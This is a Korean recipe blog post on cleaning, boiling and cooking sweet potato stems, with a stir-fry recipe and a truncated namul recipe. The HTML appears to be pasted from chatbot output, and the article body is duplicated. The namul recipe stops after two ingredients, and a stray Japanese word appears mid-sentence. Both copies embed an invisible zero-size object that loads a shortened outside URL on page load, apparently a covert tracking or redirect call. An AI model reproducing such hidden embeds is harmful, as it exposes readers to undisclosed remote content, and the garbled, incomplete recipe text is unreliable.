고구마줄기볶음 고구마순나물 고구마줄기 요리 손질법 삶기

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cfsN" type="video/mp4"></object> <div _ngcontent-ng-c2467228383="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:33">고구마줄기, 여름철 건강과 맛을 동시에 만끽하는 비법!</h2>고구마줄기는 여름철에 제철을 맞이하는 건강하고 맛있는 채소입니다. 비타민과 미네랄이 풍부하며, 특히 칼륨 함량이 높아 여름철 땀으로 손실되는 전해질을 보충하는 데 도움을 줍니다. 또한, 식이섬유가 풍부하여 장 건강에도 좋습니다.고구마줄기는 다양한 요리로 활용할 수 있는데요, 오늘은 고구마줄기볶음과 고구마순나물 두 가지 인기 요리의 레시피와 함께 고구마줄기 손질법과 삶는 방법까지 자세하게 알려드리겠습니다.1. 고구마줄기 손질법재료: 고구마줄기도구: 칼, 도마방법:<ol data-sourcepos="15:1-19:0"> <li data-sourcepos="15:1-15:24">고구마줄기를 찬물로 깨끗이 씻어줍니다.</li> <li data-sourcepos="16:1-16:21">줄기의 끝부분과 잎을 잘라냅니다.</li> <li data-sourcepos="17:1-17:60">굵은 껍질은 칼로 벗겨줍니다. 껍질을 벗길 때 손톱으로 흠집을 내면 쓴 맛이 날 수 있으니 주의합니다.</li> <li data-sourcepos="18:1-19:0">껍질을 벗긴 줄기를 3~4cm 길이로 썰어줍니다.</li> </ol>팁:<ul data-sourcepos="22:1-24:0"> <li data-sourcepos="22:1-22:61">껍질을 벗기기 어려울 경우, 끓는 물에 소금을 넣고 30초ほど 살짝 데쳐 찬물에 헹궈주면 쉽게 벗겨집니다.</li> <li data-sourcepos="23:1-24:0">썰어진 고구마줄기를 찬물에 담가 30분 정도 놓으면 덜 질기고 아삭한 식감으로 즐길 수 있습니다.</li> </ul>2. 고구마줄기 삶는 방법재료: 고구마줄기, 물, 소금도구: 냄비, 채반방법:<ol data-sourcepos="33:1-38:0"> <li data-sourcepos="33:1-33:22">냄비에 물을 넉넉히 넣고 끓입니다.</li> <li data-sourcepos="34:1-34:29">물이 끓으면 소금을 넣고 고구마줄기를 넣습니다.</li> <li data-sourcepos="35:1-35:31">고구마줄기의 굵기에 따라 3~5분 정도 삶아줍니다.</li> <li data-sourcepos="36:1-36:30">삶아진 고구마줄기를 찬물에 헹궈 물기를 빼줍니다.</li> <li data-sourcepos="37:1-38:0">채반에 담아 물기를 제거합니다.</li> </ol>팁:<ul data-sourcepos="41:1-43:0"> <li data-sourcepos="41:1-41:56">삶는 시간은 고구마줄기의 굵기에 따라 조절합니다. 너무 오래 삶으면 질겨질 수 있으니 주의합니다.</li> <li data-sourcepos="42:1-43:0">찬물에 헹구는 과정을 거치면 고구마줄기의 색깔이 더욱 선명해집니다.</li> </ul>3. 고구마줄기볶음 레시피재료:<ul data-sourcepos="48:1-58:0"> <li data-sourcepos="48:1-48:12">고구마줄기 300g</li> <li data-sourcepos="49:1-49:11">돼지고기 100g</li> <li data-sourcepos="50:1-50:9">양파 1/2개</li> <li data-sourcepos="51:1-51:9">당근 1/2개</li> <li data-sourcepos="52:1-52:7">대파 1대</li> <li data-sourcepos="53:1-53:7">마늘 2쪽</li> <li data-sourcepos="54:1-54:10">고춧가루 1큰술</li> <li data-sourcepos="55:1-55:8">간장 2큰술</li> <li data-sourcepos="56:1-56:9">참기름 1큰술</li> <li data-sourcepos="57:1-58:0">소금, 후추 약간</li> </ul>방법:<ol data-sourcepos="61:1-69:0"> <li data-sourcepos="61:1-61:31">고구마줄기는 손질하여 3~4cm 길이로 썰어줍니다.</li> <li data-sourcepos="62:1-62:37">돼지고기는 먹기 좋은 크기로 썰어 소금, 후추로 간을 합니다.</li> <li data-sourcepos="63:1-63:23">양파, 당근, 대파는 채 썰어줍니다.</li> <li data-sourcepos="64:1-64:13">마늘은 다져줍니다.</li> <li data-sourcepos="65:1-65:26">팬에 참기름을 두르고 돼지고기를 볶습니다.</li> <li data-sourcepos="66:1-66:36">돼지고기가 익으면 양파, 당근, 대파를 넣고 함께 볶습니다.</li> <li data-sourcepos="67:1-67:26">채소가 익으면 고구마줄기를 넣고 볶습니다.</li> <li data-sourcepos="68:1-69:0">고추가루, 간장을 넣고 볶다가 고구마줄기가 익으면 마늘을 넣고 간을 합니다.</li> </ol>4. 고구마순나물 레시피재료:<ul data-sourcepos="74:1-75:7"> <li data-sourcepos="74:1-74:12">고구마줄기 300g</li> <li data-sourcepos="75:1-75:7">물 1리터</li> </ul></div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cfsN" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c2467228383="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:33">고구마줄기, 여름철 건강과 맛을 동시에 만끽하는 비법!</h2>고구마줄기는 여름철에 제철을 맞이하는 건강하고 맛있는 채소입니다. 비타민과 미네랄이 풍부하며, 특히 칼륨 함량이 높아 여름철 땀으로 손실되는 전해질을 보충하는 데 도움을 줍니다. 또한, 식이섬유가 풍부하여 장 건강에도 좋습니다.고구마줄기는 다양한 요리로 활용할 수 있는데요, 오늘은 고구마줄기볶음과 고구마순나물 두 가지 인기 요리의 레시피와 함께 고구마줄기 손질법과 삶는 방법까지 자세하게 알려드리겠습니다.1. 고구마줄기 손질법재료: 고구마줄기도구: 칼, 도마방법:<ol data-sourcepos="15:1-19:0"> <li data-sourcepos="15:1-15:24">고구마줄기를 찬물로 깨끗이 씻어줍니다.</li> <li data-sourcepos="16:1-16:21">줄기의 끝부분과 잎을 잘라냅니다.</li> <li data-sourcepos="17:1-17:60">굵은 껍질은 칼로 벗겨줍니다. 껍질을 벗길 때 손톱으로 흠집을 내면 쓴 맛이 날 수 있으니 주의합니다.</li> <li data-sourcepos="18:1-19:0">껍질을 벗긴 줄기를 3~4cm 길이로 썰어줍니다.</li> </ol>팁:<ul data-sourcepos="22:1-24:0"> <li data-sourcepos="22:1-22:61">껍질을 벗기기 어려울 경우, 끓는 물에 소금을 넣고 30초ほど 살짝 데쳐 찬물에 헹궈주면 쉽게 벗겨집니다.</li> <li data-sourcepos="23:1-24:0">썰어진 고구마줄기를 찬물에 담가 30분 정도 놓으면 덜 질기고 아삭한 식감으로 즐길 수 있습니다.</li> </ul>2. 고구마줄기 삶는 방법재료: 고구마줄기, 물, 소금도구: 냄비, 채반방법:<ol data-sourcepos="33:1-38:0"> <li data-sourcepos="33:1-33:22">냄비에 물을 넉넉히 넣고 끓입니다.</li> <li data-sourcepos="34:1-34:29">물이 끓으면 소금을 넣고 고구마줄기를 넣습니다.</li> <li data-sourcepos="35:1-35:31">고구마줄기의 굵기에 따라 3~5분 정도 삶아줍니다.</li> <li data-sourcepos="36:1-36:30">삶아진 고구마줄기를 찬물에 헹궈 물기를 빼줍니다.</li> <li data-sourcepos="37:1-38:0">채반에 담아 물기를 제거합니다.</li> </ol>팁:<ul data-sourcepos="41:1-43:0"> <li data-sourcepos="41:1-41:56">삶는 시간은 고구마줄기의 굵기에 따라 조절합니다. 너무 오래 삶으면 질겨질 수 있으니 주의합니다.</li> <li data-sourcepos="42:1-43:0">찬물에 헹구는 과정을 거치면 고구마줄기의 색깔이 더욱 선명해집니다.</li> </ul>3. 고구마줄기볶음 레시피재료:<ul data-sourcepos="48:1-58:0"> <li data-sourcepos="48:1-48:12">고구마줄기 300g</li> <li data-sourcepos="49:1-49:11">돼지고기 100g</li> <li data-sourcepos="50:1-50:9">양파 1/2개</li> <li data-sourcepos="51:1-51:9">당근 1/2개</li> <li data-sourcepos="52:1-52:7">대파 1대</li> <li data-sourcepos="53:1-53:7">마늘 2쪽</li> <li data-sourcepos="54:1-54:10">고춧가루 1큰술</li> <li data-sourcepos="55:1-55:8">간장 2큰술</li> <li data-sourcepos="56:1-56:9">참기름 1큰술</li> <li data-sourcepos="57:1-58:0">소금, 후추 약간</li> </ul>방법:<ol data-sourcepos="61:1-69:0"> <li data-sourcepos="61:1-61:31">고구마줄기는 손질하여 3~4cm 길이로 썰어줍니다.</li> <li data-sourcepos="62:1-62:37">돼지고기는 먹기 좋은 크기로 썰어 소금, 후추로 간을 합니다.</li> <li data-sourcepos="63:1-63:23">양파, 당근, 대파는 채 썰어줍니다.</li> <li data-sourcepos="64:1-64:13">마늘은 다져줍니다.</li> <li data-sourcepos="65:1-65:26">팬에 참기름을 두르고 돼지고기를 볶습니다.</li> <li data-sourcepos="66:1-66:36">돼지고기가 익으면 양파, 당근, 대파를 넣고 함께 볶습니다.</li> <li data-sourcepos="67:1-67:26">채소가 익으면 고구마줄기를 넣고 볶습니다.</li> <li data-sourcepos="68:1-69:0">고추가루, 간장을 넣고 볶다가 고구마줄기가 익으면 마늘을 넣고 간을 합니다.</li> </ol>4. 고구마순나물 레시피재료:<ul data-sourcepos="74:1-75:7"> <li data-sourcepos="74:1-74:12">고구마줄기 300g</li> <li data-sourcepos="75:1-75:7">물 1리터</li> </ul></div> </div></div>